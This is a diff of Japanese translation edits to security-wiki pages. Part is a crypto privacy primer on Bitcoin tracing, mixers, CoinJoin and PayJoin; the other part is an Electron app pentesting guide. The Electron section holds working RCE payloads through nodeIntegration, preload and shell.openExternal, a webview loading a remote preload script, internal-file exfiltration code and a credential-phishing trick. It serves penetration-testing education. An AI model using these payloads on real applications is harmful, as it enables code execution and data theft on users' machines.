- **DEX**と**DAO**はそれぞれ分散型取引所プラットフォームと分散型自律組織を指します。
|
||||
|
||||
## コンセンサスメカニズム
|
||||
|
||||
コンセンサスメカニズムは、ブロックチェーン上での安全で合意された取引の検証を確保します:
|
||||
|
||||
- **プルーフ・オブ・ワーク (PoW)**は、取引の検証に計算能力を依存します。
|
||||
- **プルーフ・オブ・ステーク (PoS)**は、バリデーターが一定量のトークンを保持することを要求し、PoWに比べてエネルギー消費を削減します。
|
||||
|
||||
## ビットコインの基本
|
||||
|
||||
### 取引
|
||||
|
||||
ビットコインの取引は、アドレス間で資金を移動させることを含みます。取引はデジタル署名を通じて検証され、プライベートキーの所有者のみが転送を開始できることを保証します。
|
||||
|
||||
#### 主要コンポーネント:
|
||||
|
||||
- **マルチシグネチャ取引**は、取引を承認するために複数の署名を必要とします。
|
||||
- 取引は**入力**(資金の出所)、**出力**(目的地)、**手数料**(マイナーに支払われる)、および**スクリプト**(取引ルール)で構成されます。
|
||||
|
||||
### ライトニングネットワーク
|
||||
|
||||
ビットコインのスケーラビリティを向上させることを目的としており、チャネル内で複数の取引を可能にし、最終的な状態のみをブロックチェーンにブロードキャストします。
|
||||
|
||||
## ビットコインのプライバシーの懸念
|
||||
|
||||
プライバシー攻撃、例えば**共通入力所有権**や**UTXO変更アドレス検出**は、取引パターンを悪用します。**ミキサー**や**CoinJoin**のような戦略は、ユーザー間の取引リンクを隠すことで匿名性を向上させます。
|
||||
|
||||
## ビットコインを匿名で取得する方法
|
||||
|
||||
方法には現金取引、マイニング、ミキサーの使用が含まれます。**CoinJoin**は複数の取引を混ぜて追跡を複雑にし、**PayJoin**はCoinJoinを通常の取引として偽装してプライバシーを高めます。
|
||||
|
||||
# ビットコインのプライバシー攻撃
|
||||
|
||||
# ビットコインのプライバシー攻撃の概要
|
||||
|
||||
ビットコインの世界では、取引のプライバシーとユーザーの匿名性はしばしば懸念の対象です。攻撃者がビットコインのプライバシーを侵害するいくつかの一般的な方法の簡略化された概要を以下に示します。
|
||||
|
||||
## **共通入力所有権の仮定**
|
||||
|
||||
異なるユーザーの入力が単一の取引に結合されることは一般的に稀であり、複雑さが関与します。したがって、**同じ取引内の2つの入力アドレスは、しばしば同じ所有者に属すると仮定されます**。
|
||||
|
||||
## **UTXO変更アドレス検出**
|
||||
|
||||
UTXO、または**未使用取引出力**は、取引で完全に消費されなければなりません。もしその一部だけが別のアドレスに送信されると、残りは新しい変更アドレスに送られます。観察者はこの新しいアドレスが送信者に属すると仮定し、プライバシーが侵害されます。
|
||||
|
||||
### 例
|
||||
|
||||
これを軽減するために、ミキシングサービスや複数のアドレスを使用することで所有権を隠すのに役立ちます。
|
||||
|
||||
## **ソーシャルネットワークとフォーラムの露出**
|
||||
|
||||
ユーザーは時々自分のビットコインアドレスをオンラインで共有し、**アドレスを所有者にリンクさせるのが容易になります**。
|
||||
|
||||
## **取引グラフ分析**
|
||||
|
||||
取引はグラフとして視覚化でき、資金の流れに基づいてユーザー間の潜在的な接続を明らかにします。
|
||||
|
||||
## **不必要な入力ヒューリスティック(最適変更ヒューリスティック)**
|
||||
|
||||
このヒューリスティックは、複数の入力と出力を持つ取引を分析して、どの出力が送信者に戻る変更であるかを推測することに基づいています。
|
||||
|
||||
### 例
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
|
||||
## **強制アドレス再利用**
|
||||
|
||||
攻撃者は以前に使用されたアドレスに少額を送信し、受取人が将来の取引でこれらを他の入力と組み合わせることを期待して、アドレスをリンクさせることを狙います。
|
||||
|
||||
### 正しいウォレットの動作
|
||||
|
||||
ウォレットは、プライバシーの漏洩を防ぐために、すでに使用された空のアドレスで受け取ったコインを使用することを避けるべきです。
|
||||
|
||||
## **その他のブロックチェーン分析技術**
|
||||
|
||||
- **正確な支払い額:** お釣りのない取引は、同じユーザーが所有する2つのアドレス間のものである可能性が高いです。
|
||||
- **丸い数字:** 取引における丸い数字は、支払いであることを示唆し、非丸い出力はお釣りである可能性が高いです。
|
||||
- **ウォレットフィンガープリンティング:** 異なるウォレットは独自の取引生成パターンを持ち、分析者が使用されたソフトウェアやお釣りのアドレスを特定できるようにします。
|
||||
- **金額とタイミングの相関:** 取引の時間や金額を開示することは、取引を追跡可能にする可能性があります。
|
||||
|
||||
## **トラフィック分析**
|
||||
|
||||
ネットワークトラフィックを監視することで、攻撃者は取引やブロックをIPアドレスにリンクさせる可能性があり、ユーザーのプライバシーが侵害されることがあります。これは、あるエンティティが多くのBitcoinノードを運営している場合に特に当てはまり、取引を監視する能力が向上します。
|
||||
|
||||
## もっと
|
||||
|
||||
プライバシー攻撃と防御の包括的なリストについては、[Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)を訪れてください。
|
||||
|
||||
# 匿名のBitcoin取引
|
||||
|
||||
## 匿名でBitcoinを取得する方法
|
||||
|
||||
- **現金取引**: 現金でビットコインを取得すること。
|
||||
- **現金の代替**: ギフトカードを購入し、それをオンラインでビットコインと交換すること。
|
||||
- **マイニング**: ビットコインを得る最もプライベートな方法はマイニングであり、特に一人で行う場合は、マイニングプールがマイナーのIPアドレスを知っている可能性があるためです。[マイニングプール情報](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **盗難**: 理論的には、ビットコインを盗むことも匿名で取得する方法の一つですが、これは違法であり推奨されません。
|
||||
|
||||
## ミキシングサービス
|
||||
|
||||
ミキシングサービスを使用することで、ユーザーは**ビットコインを送信**し、**異なるビットコインを受け取る**ことができ、元の所有者を追跡することが難しくなります。しかし、これはサービスがログを保持せず、実際にビットコインを返すことを信頼する必要があります。代替のミキシングオプションにはBitcoinカジノが含まれます。
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin**は、異なるユーザーからの複数の取引を1つに統合し、入力と出力を一致させようとする人にとってプロセスを複雑にします。その効果にもかかわらず、ユニークな入力と出力のサイズを持つ取引は、依然として追跡される可能性があります。
|
||||
|
||||
CoinJoinを使用した可能性のある取引の例には`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`が含まれます。
|
||||
|
||||
詳細については、[CoinJoin](https://coinjoin.io/en)を訪れてください。Ethereumの同様のサービスについては、マイナーからの資金で取引を匿名化する[Tornado Cash](https://tornado.cash)をチェックしてください。
|
||||
|
||||
## PayJoin
|
||||
|
||||
CoinJoinのバリアントである**PayJoin**(またはP2EP)は、2つの当事者(例:顧客と商人)間の取引を通常の取引として偽装し、CoinJoinの特徴的な等しい出力を持たないため、非常に検出が難しくなります。これにより、取引監視機関が使用する一般的な入力所有権のヒューリスティックが無効になる可能性があります。
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
上記のようなトランザクションはPayJoinの可能性があり、標準的なビットコイントランザクションと区別がつかないままプライバシーを向上させます。
|
||||
|
||||
**PayJoinの利用は、従来の監視手法を大きく妨げる可能性があります**。これは、トランザクションプライバシーの追求において有望な発展です。
|
||||
|
||||
# 暗号通貨におけるプライバシーのベストプラクティス
|
||||
|
||||
## **ウォレット同期技術**
|
||||
|
||||
プライバシーとセキュリティを維持するためには、ウォレットをブロックチェーンと同期させることが重要です。特に目立つ2つの方法があります:
|
||||
|
||||
- **フルノード**:ブロックチェーン全体をダウンロードすることで、フルノードは最大限のプライバシーを確保します。過去に行われたすべてのトランザクションがローカルに保存され、敵対者がユーザーの関心のあるトランザクションやアドレスを特定することは不可能です。
|
||||
- **クライアントサイドブロックフィルタリング**:この方法は、ブロックチェーン内の各ブロックにフィルターを作成し、ウォレットが特定の関心をネットワークの観察者にさらすことなく関連するトランザクションを特定できるようにします。軽量ウォレットはこれらのフィルターをダウンロードし、ユーザーのアドレスと一致する場合にのみフルブロックを取得します。
|
||||
|
||||
## **匿名性のためのTorの利用**
|
||||
|
||||
ビットコインがピアツーピアネットワークで動作するため、IPアドレスを隠すためにTorを使用することが推奨され、ネットワークとのやり取り時にプライバシーが向上します。
|
||||
|
||||
## **アドレスの再利用防止**
|
||||
|
||||
プライバシーを守るためには、各トランザクションに新しいアドレスを使用することが重要です。アドレスを再利用すると、トランザクションが同じ主体にリンクされることでプライバシーが損なわれる可能性があります。現代のウォレットはその設計によりアドレスの再利用を避けるようにしています。
|
||||
|
||||
## **トランザクションプライバシーの戦略**
|
||||
|
||||
- **複数のトランザクション**:支払いをいくつかのトランザクションに分割することで、トランザクションの金額を不明瞭にし、プライバシー攻撃を防ぎます。
|
||||
- **お釣りの回避**:お釣りの出力が不要なトランザクションを選択することで、プライバシーを向上させ、お釣り検出手法を混乱させます。
|
||||
- **複数のお釣り出力**:お釣りを避けることができない場合でも、複数のお釣り出力を生成することでプライバシーを改善できます。
|
||||
|
||||
# **モネロ:匿名性の灯台**
|
||||
|
||||
モネロはデジタルトランザクションにおける絶対的な匿名性の必要性に応え、高いプライバシー基準を設定しています。
|
||||
|
||||
# **イーサリアム:ガスとトランザクション**
|
||||
|
||||
## **ガスの理解**
|
||||
|
||||
ガスは、イーサリアム上での操作を実行するために必要な計算努力を測定し、**gwei**で価格が設定されています。たとえば、2,310,000 gwei(または0.00231 ETH)のコストがかかるトランザクションは、ガス制限と基本料金があり、マイナーへのインセンティブとしてチップが含まれます。ユーザーは過剰支払いを避けるために最大料金を設定でき、余分な料金は返金されます。
|
||||
|
||||
## **トランザクションの実行**
|
||||
|
||||
イーサリアムのトランザクションには送信者と受信者が含まれ、受信者はユーザーまたはスマートコントラクトのアドレスである可能性があります。トランザクションには料金が必要で、マイニングされなければなりません。トランザクションにおける重要な情報には、受信者、送信者の署名、価値、オプションのデータ、ガス制限、料金が含まれます。特に、送信者のアドレスは署名から推測されるため、トランザクションデータに含める必要はありません。
|
||||
|
||||
これらのプラクティスとメカニズムは、プライバシーとセキュリティを優先しながら暗号通貨に関与しようとする人々にとって基礎的なものです。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,30 +1,30 @@
|
||||
# Electron Desktop Apps
|
||||
# Electron デスクトップアプリ
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## イントロダクション
|
||||
## はじめに
|
||||
|
||||
Electron はローカルのバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、最新のブラウザが備えているいくつかのセキュリティ機構を欠いています。
|
||||
Electronはローカルのバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、現代のブラウザが備えるいくつかのセキュリティ機構が欠けています。
|
||||
|
||||
通常、Electron アプリのコードは `.asar` アプリケーション内に見つかることが多く、コードを取得するには抽出する必要があります:
|
||||
通常、electronアプリのコードは`.asar`アプリケーション内にあることが多く、コードを取得するにはそれを抽出する必要があります:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Electron アプリのソースコードでは、`packet.json` 内にセキュリティ設定が行われている `main.js` ファイルが指定されています。
|
||||
Electron アプリのソースコードでは、`packet.json` 内にセキュリティ設定が設定されている `main.js` ファイルが指定されているのを確認できます。
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron には 2 種類のプロセスがあります:
|
||||
Electronには2つのプロセスタイプがあります:
|
||||
|
||||
- Main Process (NodeJS への完全なアクセス権を持つ)
|
||||
- Renderer Process (セキュリティ上の理由により NodeJS へのアクセスは制限されるべき)
|
||||
- Main Process (NodeJSへ完全にアクセスできる)
|
||||
- Renderer Process (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき)
|
||||
|
||||
.png>)
|
||||
|
||||
A **renderer process** はファイルを読み込むブラウザウィンドウになります:
|
||||
**renderer process** はファイルを読み込むブラウザウィンドウになります:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
**renderer process** の設定は **main process** 内の main.js ファイルで **configured** できます。設定を正しく行えば、いくつかの設定は **prevent the Electron application to get RCE** やその他の脆弱性を防げます。
|
||||
main.js ファイル内の **メインプロセス** で **レンダラープロセス** の設定を **構成** できます。いくつかの設定は、**設定が正しく構成されていれば** Electron アプリケーションが RCE やその他の脆弱性を受けるのを **防止** します。
|
||||
|
||||
Electron application は Node apis を通じてデバイスに **could access the device** する可能性がありますが、これを防ぐように設定することもできます:
|
||||
Electron アプリケーションは Node API 経由で **デバイスにアクセス** できる可能性がありますが、これを防ぐように構成できます:
|
||||
|
||||
- **`nodeIntegration`** - デフォルトでは `off` です。`on` の場合、renderer process から node 機能へアクセスできます。
|
||||
- **`contextIsolation`** - デフォルトでは `on` です。`off` の場合、main と renderer プロセスは分離されません。
|
||||
- **`preload`** - デフォルトでは空です。
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトでは `off` です。NodeJS が実行できる操作を制限します。
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - デフォルトでは `off` です。
|
||||
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
||||
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||
- **`nodeIntegration`** - はデフォルトで `off` です。オンにすると、レンダラープロセスから node の機能へアクセスできるようになります。
|
||||
- **`contextIsolation`** - はデフォルトで `on` です。`off` の場合、メインとレンダラープロセスは分離されません。
|
||||
- **`preload`** - はデフォルトで空です。
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - はデフォルトで `off` です。NodeJS が実行できる操作を制限します。
|
||||
- Workers 内の Node Integration
|
||||
- **`nodeIntegrationInSubframes`** - はデフォルトで `off` です。
|
||||
- もし **`nodeIntegration`** が **有効** であれば、Electron アプリ内の iframe に読み込まれたウェブページで **Node.js APIs** を使用できるようになります。
|
||||
- もし **`nodeIntegration`** が **無効** であれば、preload スクリプトは iframe 内で読み込まれます。
|
||||
|
||||
設定の例:
|
||||
```javascript
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からの **RCE payloads** の一部:
|
||||
以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からの **RCE payloads**:
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### トラフィックをキャプチャする
|
||||
### Capture traffic
|
||||
|
||||
start-main 設定を修正し、次のようなプロキシの使用を追加します:
|
||||
start-main の設定を変更し、次のような proxy の使用を追加します:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
ローカルでElectron Appを実行できる場合、任意の JavaScript コードを実行させることが可能です。詳細は以下を確認してください:
|
||||
ローカルでElectron Appを実行できる場合、そのアプリに任意のjavascriptコードを実行させることが可能です。詳しくは以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +111,7 @@ start-main 設定を修正し、次のようなプロキシの使用を追加し
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
もし **nodeIntegration** が **on** に設定されていると、ウェブページの JavaScript は `require()` を呼ぶだけで簡単に Node.js の機能を利用できます。例えば、Windows 上で calc を実行する方法は次の通りです:
|
||||
もし **nodeIntegration** が **on** に設定されている場合、ウェブページのJavaScriptは `require()` を呼び出すだけで簡単にNode.jsの機能を使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次のとおりです:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
この設定で指定されたスクリプトは**レンダラー内の他のスクリプトより先に読み込まれる**ため、**Node APIsに無制限にアクセスできます**:
|
||||
この設定で指定されたスクリプトは**レンダラ内の他のスクリプトより先に読み込まれる**ため、**Node APIsへの無制限のアクセス**を持ちます:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
したがって、そのスクリプトは node-features をページにエクスポートできます:
|
||||
したがって、このスクリプトは node-features をページにエクスポートできます:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -148,20 +148,20 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **`contextIsolation` が有効な場合、これは機能しません**
|
||||
> [!NOTE] > **`contextIsolation` が有効な場合、これは動作しません**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
|
||||
The _**contextIsolation**_ は、web ページのスクリプトと JavaScript Electron の内部コードの間に **分離されたコンテキスト** を導入し、それぞれのコードの JavaScript 実行が互いに影響しないようにします。これは RCE の可能性を排除するために必要な機能です。
|
||||
|
||||
もしコンテキストが分離されていない場合、攻撃者は次のことができます:
|
||||
If the contexts aren't isolated an attacker can:
|
||||
|
||||
1. **renderer で任意の JavaScript を実行する** (XSS または外部サイトへのナビゲーション)
|
||||
2. **preload または Electron の内部コードで使用される組み込みメソッドを上書きして機能を乗っ取る**
|
||||
3. **上書きされた関数の使用をトリガーする**
|
||||
1. **arbitrary JavaScript in renderer** を実行する(XSS または外部サイトへの遷移)
|
||||
2. preload や Electron internal code で使用される **built-in method** を上書きして制御を奪う
|
||||
3. 上書きされた関数の使用を **トリガーする**
|
||||
4. RCE?
|
||||
|
||||
組み込みメソッドが上書きされうる場所は2箇所あります: preload コード内 または Electron の内部コード内
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -178,9 +178,9 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass click event
|
||||
### クリックイベントのバイパス
|
||||
|
||||
リンクをクリックしたときに制限がかかる場合、通常の左クリックの代わりに**中クリックを行う**ことでそれらを回避できる場合があります
|
||||
リンクをクリックしたときに制限が適用される場合、通常の左クリックの代わりに **中クリックを行う** ことでそれらを回避できる場合があります。
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
@ -188,24 +188,25 @@ window.addEventListener('click', (e) => {
|
||||
|
||||
この例の詳細については [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) と [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を参照してください。
|
||||
|
||||
Electron デスクトップアプリケーションをデプロイする際、`nodeIntegration` と `contextIsolation` の設定を適切に行うことが重要です。これらの設定が有効であれば、preload scripts や Electron のネイティブコードを main process から標的とした **client-side remote code execution (RCE)** は実質的に防止されるとされています。
|
||||
Electron デスクトップアプリケーションをデプロイする際、`nodeIntegration` と `contextIsolation` の設定を正しく行うことが重要です。これらの設定があれば、preload scripts や Electron's native code from the main process を標的とした client-side remote code execution (RCE) は実質的に防止されることが確立されています。
|
||||
|
||||
ユーザーがリンクを操作したり新しいウィンドウを開いたりすると、アプリケーションのセキュリティと機能にとって重要な特定のイベントリスナーがトリガーされます:
|
||||
ユーザーがリンクを操作したり新しいウィンドウを開いたりすると、特定の event listeners がトリガーされ、アプリケーションのセキュリティと機能において重要な役割を果たします:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
これらのリスナーは、デスクトップアプリケーションによって独自の**ビジネスロジック**を実装するために**オーバーライド**されます。アプリケーションは、移動したリンクを内部で開くべきか外部のウェブブラウザで開くべきかを判断します。この判断は通常、`openInternally` 関数で行われます。もしこの関数が `false` を返すと、リンクは外部で開かれるべきであり、`shell.openExternal` 関数が使用されます。
|
||||
これらのリスナーは**デスクトップアプリケーションによって上書きされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか外部のWebブラウザで開くべきかを判定します。
|
||||
この判定は通常、`openInternally` 関数を通じて行われます。もしこの関数が `false` を返す場合、そのリンクは外部で開かれるべきであることを示し、`shell.openExternal` 関数を利用します。
|
||||
|
||||
**Here is a simplified pseudocode:**
|
||||
**以下は簡略化した擬似コードです:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS のセキュリティベストプラクティスでは、`openExternal` 関数で信頼できないコンテンツを受け入れることを避けるべきだとされています。さもないと、様々なプロトコルを介して RCE を引き起こす可能性があります。OS は RCE を誘発し得る様々なプロトコルをサポートしています。このトピックの詳細な例や追加説明については、[this resource](https://positive.security/blog/url-open-rce#windows-10-19042) を参照してください。リンクにはこの脆弱性を悪用することができる Windows プロトコルの例が含まれています。
|
||||
Electron JS のセキュリティベストプラクティスは、`openExternal` 関数で信頼されていないコンテンツを受け入れることを避けるよう推奨しています。なぜなら、さまざまなプロトコル経由で RCE に繋がる可能性があるためです。各オペレーティングシステムは RCE を引き起こし得る異なるプロトコルをサポートしています。詳細な例や追加説明については、[この資料](https://positive.security/blog/url-open-rce#windows-10-19042) を参照してください。ここにはこの脆弱性を悪用できる Windows プロトコルの例が含まれています。
|
||||
|
||||
macos では、`openExternal` 関数を悪用して任意のコマンドを実行させることができます。例えば `shell.openExternal('file:///System/Applications/Calculator.app')` のように。
|
||||
macOS では、`openExternal` 関数は `shell.openExternal('file:///System/Applications/Calculator.app')` のように任意のコマンドを実行するために悪用され得ます。
|
||||
|
||||
**Windows プロトコルの悪用例には以下が含まれます:**
|
||||
```html
|
||||
@ -229,15 +230,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
この vuln は **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** で確認できます。
|
||||
この脆弱性は **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** に記載されています。
|
||||
|
||||
The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
|
||||
**webviewTag** は **deprecated feature** で、**renderer process** で **NodeJS** を使用可能にします。preload context 内に次のようなスクリプトを読み込めるため、無効化すべきです:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
したがって、任意のページを読み込むことができる攻撃者は、そのタグを使って **任意の preload スクリプトを読み込む** ことができます。
|
||||
したがって、任意のページを読み込める攻撃者は、そのタグを使って**load an arbitrary preload script**を実行できる。
|
||||
|
||||
その preload スクリプトは悪用され、**脆弱な IPC サービス (`skype-new-window`)** を呼び出し、それが **`shell.openExternal`** を呼び出して RCE を引き起こしていました:
|
||||
このpreload scriptは悪用され、**vulnerable IPC service (`skype-new-window`)**を呼び出し、そのサービスが**`shell.openExternal`**を呼び出してRCEを得ていました:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## 内部ファイルの読み取り: XSS + contextIsolation
|
||||
|
||||
**Disabling `contextIsolation` enables the use of `<webview>` tags**, similar to `<iframe>`, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:
|
||||
**`contextIsolation`を無効にすると、`<webview>`タグが使用可能になり、`<iframe>`と同様にローカルファイルの読み取りおよび exfiltrating が可能になります。** 以下の例は、この脆弱性を exploit して内部ファイルの内容を読む方法を示しています:
|
||||
|
||||
.png>)
|
||||
|
||||
さらに、別の**内部ファイルの読み取り**手法が共有されており、Electronデスクトップアプリにおける重大なローカルファイル読み取り脆弱性が強調されています。これは、アプリにスクリプトを注入して悪用し、データをexfiltrateすることを伴います:
|
||||
さらに、別の方法で**内部ファイルの読み取り**が紹介されており、Electron デスクトップアプリにおける重大なローカルファイル読み取り脆弱性を浮き彫りにしています。これは、スクリプトを注入してアプリケーションを exploit し、データを exfiltrate することを含みます:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -270,23 +271,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + 古い chromium**
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
もしアプリケーションで使用されている **chromium** が **古い** かつ **既知の** **脆弱性** がある場合、**exploit** して XSS 経由で RCE を取得できる可能性があります。\
|
||||
この **writeup** の例はこちら: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
アプリケーションで使用されている **chromium** が **古い** かつ **既知の** **脆弱性** がある場合、**それを悪用してXSSを介してRCEを取得する** ことが可能かもしれません。\\
|
||||
例はこの**writeup**で確認できます: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
XSS を見つけたが **RCE をトリガーできない** または **内部ファイルを盗めない** 場合、**phishing を通じて資格情報を盗む** ことを試みることができます。
|
||||
もし XSS を見つけたが **RCE をトリガーできない、または内部ファイルを盗めない** 場合は、それを使って **steal credentials via phishing** を試みることができます。
|
||||
|
||||
まず最初に、新しい URL を開こうとしたときに何が起きるかを、front-end の JS コードを確認して把握する必要があります:
|
||||
まず、新しいURLを開こうとしたときに何が起きるかを把握する必要があります。フロントエンドのJSコードを確認してください:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`** の呼び出しは、**link** がプラットフォームに属するものとして **desktop window** 内で **opened** されるのか、**or** サードパーティのリソースとして **browser as a 3rd party resource** で開かれるのかを決定します。
|
||||
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
|
||||
|
||||
関数で使われる **regex** が **vulnerable to bypasses**(例えば **not escaping the dots of subdomains** のようにサブドメインのドットをエスケープしていない場合)だと、攻撃者は **XSS** を悪用して攻撃者のインフラ上に配置された **open a new window which** を開き、ユーザに **asking for credentials** させることができます:
|
||||
関数で使用される **regex** が **vulnerable to bypasses**(例えば **not escaping the dots of subdomains** のような場合)、攻撃者は XSS を悪用して攻撃者のインフラ上に配置される **open a new window which** を開き、ユーザーに認証情報を要求する(**asking for credentials**)ことができます:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -294,11 +295,11 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` プロトコル
|
||||
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **カスタムプロトコル** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||
|
||||
## Remote モジュール
|
||||
## Remote module
|
||||
|
||||
The Electron Remote module allows **レンダラプロセスがメインプロセスの API にアクセスできるようにし**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
